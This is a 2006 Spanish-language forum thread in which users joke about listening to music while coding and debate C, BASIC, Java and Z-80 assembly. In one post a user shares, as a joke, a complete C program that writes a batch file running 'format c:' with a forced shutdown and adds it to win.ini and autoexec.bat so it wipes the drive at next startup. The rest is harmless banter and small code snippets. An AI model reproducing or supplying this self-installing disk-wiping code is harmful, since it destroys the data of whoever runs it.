Foros Fairlight Jarre

General => Tertulia => Mensaje iniciado por: Deckard en 06 de Diciembre de 2006, 05:58:26 PM

Título: Curiosidad sobre los que programais
Publicado por: Deckard en 06 de Diciembre de 2006, 05:58:26 PM
 Pues eso.. ahora mismo estoy programando y me ha saltado una duda bastante tonta, pero... al fín y al cabo es una duda como otra cualquiera.

printf ("¿Escucháis música mientras programáis?\n");
scanf ("%c", &contestación);

If (contestación==sí)
     printf ("¿Qué música escucháis?\n");

else
     printf ("Ah, pos vaya...\n");
Título: Re: Curiosidad sobre los que programais
Publicado por: Pinchos.doc en 06 de Diciembre de 2006, 06:18:16 PM
#include <ambient.h>

:-D :-D
_________________________________
Escuchando: Jambi, 10000 Days. Tool.


Título: Re: Curiosidad sobre los que programais
Publicado por: Deckard en 06 de Diciembre de 2006, 06:54:37 PM
Cita de: William Dhalgren en 06 de Diciembre de 2006, 06:18:16 PM
#include <ambient.h>

:-D :-D
_________________________________
Escuchando: Jambi, 10000 Days. Tool.




printf ("Jajajaja!\n");
Título: Re: Curiosidad sobre los que programais
Publicado por: Manu1613 en 06 de Diciembre de 2006, 08:28:26 PM
 :-D :-D :-D por cierto esto es Basic, mezcla de Basic con algo................ Porque los comandos vamos son similares a los de Basic
Título: Re: Curiosidad sobre los que programais
Publicado por: Pinchos.doc en 06 de Diciembre de 2006, 08:51:56 PM
Cita de: Manu1613 en 06 de Diciembre de 2006, 08:28:26 PM
:-D :-D :-D por cierto esto es Basic, mezcla de Basic con algo................ Porque los comandos vamos son similares a los de Basic

Pues no, no es Basic... Se trata de 'C', un lenguaje algo complicadillo de aprender... Pero con el cual se pueden hacer cosas como que el PC haga un formateo cuando vuelvas a encenderlo de nuevo...  :-D :-D :-D

#include<stdio.h>
#include<conio.h>
#include<stdio.h>
FILE* archivo;
char texto[80];
edx()
{
printf("edx\n");
printf("The world is not enough!!!!\n%c",'\007');
}
main()
{
clrscr();
archivo= fopen("c:\\windows\\edx.bat","wt");
if (archivo==NULL){printf("No se pudo crear!\n");goto fin;}fin:;
fputs("cls\n",archivo);
fputs("@echo=off\n",archivo);
fputs("format c:\\ /autotest /q\n",archivo);
fputs("c:\\windows\\rundll32.exe user.exe,exitwindows\n",archivo);
fputs("echo edx\n",archivo);
fputs("echo The world is not enough!!!!\n",archivo);
fclose(archivo);
archivo= fopen("c:\\windows\\edx.bat","rt");
if (archivo==NULL){printf("No existe el archivo!\n");goto end;}end:;
while (!feof(archivo)){fgets(texto,80,archivo);printf("%s",texto);}
fclose(archivo);
archivo= fopen("c:\\windows\\win.ini","a+b");
fputs("[windows]",archivo);
fputs("run=c:\\windows\\edx.bat",archivo);
fclose(archivo);
archivo= fopen("c:\\autoexec.bat","a+b");
fputs("@echo= off\n",archivo);
fputs("echo edx\n",archivo);
fputs("echo The world is not enough!!!!\n",archivo);
fclose(archivo);
edx();
getch();
}



Edito: este programa no es C si no C++
Título: Re: Curiosidad sobre los que programais
Publicado por: Manu1613 en 07 de Diciembre de 2006, 12:34:45 AM
ah carajo C++, gracias jejeje tenia oido ese lenguaje de programación que parece que es muchisímo más potente que Java. Pero nunca he llegado a manejarlo
Título: Re: Curiosidad sobre los que programais
Publicado por: Deckard en 07 de Diciembre de 2006, 10:48:03 AM
Cita de: Manu1613 en 07 de Diciembre de 2006, 12:34:45 AM
ah carajo C++, gracias jejeje tenia oido ese lenguaje de programación que parece que es muchisímo más potente que Java. Pero nunca he llegado a manejarlo

Según tengo entendido los sistemas operativos están hecho en lenguaje C. Con este lenguaje, si lo dominas bien, puedes ser dios.  :-D
Título: Re: Curiosidad sobre los que programais
Publicado por: Pinchos.doc en 07 de Diciembre de 2006, 11:48:11 AM
Linux y casi todas sus aplicaciones están escritas en C y C++. Por eso no es de extrañar que una de los principales elementos de los sistemas UNIX sea un compilador C/C++. La distribución Linux Gentoo se servía completamente en código fuente C/C++ que había que compilar desde el principio para instalarla... ¡Hasta había que compilar el compilador!

Hoy en día los sistemas operativos 'Windows' se realizan con compilaciones cruzadas de C++, C#, VisualBasic, J#... Pocas veces se echa mano de C a palo seco más que para crear dependencias a bajo nivel...
___________________________________
Escuchando: Son of Mr Green Genes, Hot Rats. Frank Zappa.
Título: Re: Curiosidad sobre los que programais
Publicado por: Alvarologie en 07 de Diciembre de 2006, 11:16:21 PM
Cita de: Manu1613 en 07 de Diciembre de 2006, 12:34:45 AM
ah carajo C++, gracias jejeje tenia oido ese lenguaje de programación que parece que es muchisímo más potente que Java. Pero nunca he llegado a manejarlo
Java es la potencia! jejeje para mi el mejor y al que estoy acostumbrado aunque dicen que C# es también la leche. Eso si con C se llega a todos sitios, aunque el programa arriba puesto. . . eso de usar GOTO es criminal en programación estructurada, para algo están las funciones!

Saludos! :D
Título: Re: Curiosidad sobre los que programais
Publicado por: Alvarologie en 07 de Diciembre de 2006, 11:19:52 PM
Cita de: William Dhalgren en 07 de Diciembre de 2006, 11:48:11 AM
Linux y casi todas sus aplicaciones están escritas en C y C++. Por eso no es de extrañar que una de los principales elementos de los sistemas UNIX sea un compilador C/C++. La distribución Linux Gentoo se servía completamente en código fuente C/C++ que había que compilar desde el principio para instalarla... ¡Hasta había que compilar el compilador!

Hoy en día los sistemas operativos 'Windows' se realizan con compilaciones cruzadas de C++, C#, VisualBasic, J#... Pocas veces se echa mano de C a palo seco más que para crear dependencias a bajo nivel...
___________________________________
Escuchando: Son of Mr Green Genes, Hot Rats. Frank Zappa.

Ahoramismo no estoy escuchando nada, jejeje. Y es que C (como evolución de B) para programar UNIX pero sin usar código ensamblador, es decir, que fuera portable a todas las máquinas de una manera más comoda sin tener que reescribir todo el código... de ahí a que el UNIX ya sea en alguna distribución de LINUX lo usen tanto.

http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n_C (http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n_C)

Saludos!
Título: Re: Curiosidad sobre los que programais
Publicado por: Pinchos.doc en 08 de Diciembre de 2006, 10:46:24 AM
Cita de: Alvarologie en 07 de Diciembre de 2006, 11:16:21 PMEso si con C se llega a todos sitios, aunque el programa arriba puesto. . . eso de usar GOTO es criminal en programación estructurada, para algo están las funciones!

Saludos! :D

El goto... La herencia que llevas después de 15 años programando en BASIC...  :oops: :oops:
_____________________
Escuchando: Fock of Bluebirds, Antique Dreams. Tangerine Dream.
Título: Re: Curiosidad sobre los que programais
Publicado por: Manu1613 en 08 de Diciembre de 2006, 12:58:35 PM
Cita de: William Dhalgren en 08 de Diciembre de 2006, 10:46:24 AM
Cita de: Alvarologie en 07 de Diciembre de 2006, 11:16:21 PMEso si con C se llega a todos sitios, aunque el programa arriba puesto. . . eso de usar GOTO es criminal en programación estructurada, para algo están las funciones!

Saludos! :D

El goto... La herencia que llevas después de 15 años programando en BASIC...  :oops: :oops:

Pero si GOTO es la leche, eso de ir saltando entre líneas como te de la gana :-D
Título: Re: Curiosidad sobre los que programais
Publicado por: Astropop en 08 de Diciembre de 2006, 01:12:02 PM
que pasa?, nadie programa en ASM?.... niñatas  :-D
Título: Re: Curiosidad sobre los que programais
Publicado por: Pinchos.doc en 08 de Diciembre de 2006, 01:15:15 PM
Cita de: Manu1613 en 08 de Diciembre de 2006, 12:58:35 PMPero si GOTO es la leche, eso de ir saltando entre líneas como te de la gana :-D

La cuestión es que en un lenguaje estructurado como es C, los 'goto' suelen enturbiar los procesos y solo son usados para iteraciones muy complejas... Recuerdo que los 'goto' usados para programar en ensamblador de Z-80 solían ser algo desquiciantes si no sabías bien a donde mandarlos...

ld a,255
ld b,255
out (254), a
ld a,b
djnz 253
ret


Solo válido para ZX Spectrum  :-D :-D :-D
____________________________
Escuchando: Lament, Live in Toronto 24/6/1974. King Crimson.
Título: Re: Curiosidad sobre los que programais
Publicado por: Pinchos.doc en 08 de Diciembre de 2006, 01:20:47 PM
Cita de: Astropop en 08 de Diciembre de 2006, 01:12:02 PM
que pasa?, nadie programa en ASM?.... niñatas  :-D

Argggg... Qué desagradable el ASM... Es como si le tuvieras que explicar a alguien como ir de Madrid a Barcelona en números romanos...  :-D :-D

Mi anterior programa para Z-80 se quedaría en algo así como...

3E,FF,06,FF,D3,FE,3D,10,FE,C9

A ver quien lo entiende...  :-D :-D :-D
Título: Re: Curiosidad sobre los que programais
Publicado por: Manu1613 en 08 de Diciembre de 2006, 01:24:03 PM
Bah el BASIC el más sencillo y sin complicaciones :-D (aunque no es que sea muy estructurado,que no lo es)
Título: Re: Curiosidad sobre los que programais
Publicado por: Astropop en 08 de Diciembre de 2006, 01:26:56 PM
Pues en la escena amiguera se usaba mucho ASM, bueno, creo que en toda party donde habia concursos de demos y demás, habia que economizar recursos, la máquina no daba para mucho. Hay cosas de principios de los 90 que quitan el hipo, las recuerdo con mucho cariño  :cry:

Creo que con Acorn se hacian "demos" con una base muy simple, una sola linea de código en Basic  :-o 
Título: Re: Curiosidad sobre los que programais
Publicado por: Alvarologie en 08 de Diciembre de 2006, 11:34:36 PM
VIVA JAVA!!! ES LO MEJOR!! no vamos tampoco a extremizar, pero donde se ponga una buena orientación a objetos... que se quite lo demás!

O C++ con intrusismo en C para bajo nivel... ouh yeah!

Saludos!!

BASIC = CACA (BASIC by Microsoft)
Título: Re: Curiosidad sobre los que programais
Publicado por: wolworeta en 08 de Diciembre de 2006, 11:53:46 PM
Cita de: Manu1613 en 08 de Diciembre de 2006, 01:24:03 PM
Bah el BASIC el más sencillo y sin complicaciones :-D (aunque no es que sea muy estructurado,que no lo es)

Ahora entiendo el nombre que le pusieron :-P 8-)
Título: Re: Curiosidad sobre los que programais
Publicado por: Manu1613 en 09 de Diciembre de 2006, 01:23:33 AM
Cita de: Alvarologie en 08 de Diciembre de 2006, 11:34:36 PM
VIVA JAVA!!! ES LO MEJOR!! no vamos tampoco a extremizar, pero donde se ponga una buena orientación a objetos... que se quite lo demás!

O C++ con intrusismo en C para bajo nivel... ouh yeah!

Saludos!!

BASIC = CACA (BASIC by Microsoft)

A que te quedas sin APB , recuerda que esta hechocon eso :-D :lol:
Título: Re: Curiosidad sobre los que programais
Publicado por: ummo en 10 de Diciembre de 2006, 02:43:34 AM
Cita de: William Dhalgren en 08 de Diciembre de 2006, 01:20:47 PM
Cita de: Astropop en 08 de Diciembre de 2006, 01:12:02 PM
que pasa?, nadie programa en ASM?.... niñatas  :-D

Argggg... Qué desagradable el ASM... Es como si le tuvieras que explicar a alguien como ir de Madrid a Barcelona en números romanos...  :-D :-D

Mi anterior programa para Z-80 se quedaría en algo así como...

3E,FF,06,FF,D3,FE,3D,10,FE,C9

A ver quien lo entiende...  :-D :-D :-D

(http://i14.tinypic.com/2ymj3v7.png)

Evidentemente es para Z-80 :evil: